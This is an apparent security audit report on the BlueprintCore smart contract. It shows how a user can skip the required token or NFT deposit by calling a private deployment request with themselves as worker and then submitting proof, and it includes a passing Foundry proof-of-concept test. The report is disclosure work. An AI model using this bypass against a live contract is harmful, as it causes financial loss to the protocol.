Melted Steel Puppy

High

# User can create agent without paying some tokens or nft

## Vulnerability details

The `BlueprintCore` contract facilitates users to create agent via `createAgentWithToken()`, `createAgentWithNFT()`, etc. where the user must store some tokens or nfts to pay their agent. But, this rule can be bypassed with a user calls `createProjectIDAndPrivateDeploymentRequest()` function directly to avoid storing tokens or nft to the protocol.

```solidity
function createProjectIDAndPrivateDeploymentRequest(
        bytes32 projectId,
        string memory base64Proposal,
        address privateWorkerAddress,
        string memory serverURL
    ) public returns (bytes32 requestID) {
        requestID = createCommonProjectIDAndDeploymentRequest(
            msg.sender, projectId, base64Proposal, privateWorkerAddress, serverURL
        );
    }
```

Function above passes `privateWorkerAddress` as well. It causes the deployment status to be `Status.Pickup`.

```solidity
 function deploymentRequest(
        address userAddress,
        bytes32 projectId,
        address solverAddress,
        address workerAddress,
        string memory base64Proposal,
        string memory serverURL,
        uint256 index
    ) internal hasProject(projectId) returns (bytes32 requestID, bytes32 projectDeploymentId) {
    ...

    // when workerAddress is not same with dummy, automatically the status changes become pickup
    DeploymentStatus memory deploymentStatus = DeploymentStatus({
            status: (workerAddress == dummyAddress ? Status.Issued : Status.Pickup),
            deployWorkerAddr: workerAddress
        });

    requestDeploymentStatus[requestID] = deploymentStatus;
    ...
    }
```

Since the deployment status becomes `pickup`, the users can call `submitProofOfDeployment()`.

```solidity
function submitProofOfDeployment(bytes32 projectId, bytes32 requestID, string memory proofBase64)
        public
        hasProject(projectId)
    {
        // all requirement check had passed
        require(requestID.length > 0, "requestID is empty");
        require(requestDeploymentStatus[requestID].status != Status.Init, "requestID does not exist");
        require(requestDeploymentStatus[requestID].deployWorkerAddr == msg.sender, "Wrong worker address");
        require(requestDeploymentStatus[requestID].status != Status.GeneratedProof, "Already submitted proof");

        // set deployment status into generatedProof
        requestDeploymentStatus[requestID].status = Status.GeneratedProof;

        // save deployment proof to mapping
        deploymentProof[requestID] = proofBase64;

        emit GeneratedProofOfDeployment(projectId, requestID, proofBase64);
    }
```

The scenario above will look like `createProjectIDAndPrivateDeploymentRequest() -> createCommonProjectIDAndDeploymentRequest() -> receive requestID -> submitProofOfDeployment()`.

The normal scenario is `createAgentWithToken() -> createAgent() -> store tokens or nfts -> createCommonProjectIDAndDeploymentRequest() -> receive requestID -> submitProofOfDeployment()`. 

The difference is the scenario above create an agent without storing some tokens or nfts.

## Impact

Users can create agent without storing some tokens or nfts, causing loss to the protocol.

## Proof of concept

```solidity
function test_userCouldBypassPegged() public {
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";
        string memory proofBase64 = "proofBase64";
        bytes32 requestID;

        vm.startPrank(user);

        // 1. user calls createProjectIDAndPrivateDeploymentRequest
        requestID = blueprint.createProjectIDAndPrivateDeploymentRequest(
            projectId,
            base64Proposal,
            user,
            serverURL
        );

        // 2. user calls submitProofOfDeployment
        blueprint.submitProofOfDeployment(
            projectId,
            requestID,
            proofBase64
        );
        vm.stopPrank();

        string memory proofBase64Actual = blueprint.getDeploymentProof(requestID);

        assertEq(keccak256(abi.encode(proofBase64)), keccak256(abi.encode(proofBase64Actual)));
    }
```

```bash
Ran 1 test for test/BlueprintV5.t.sol:BlueprintTest
[PASS] test_userCouldBypassPegged() (gas: 238177)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 51.06ms (49.46ms CPU time)
```

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L416-L425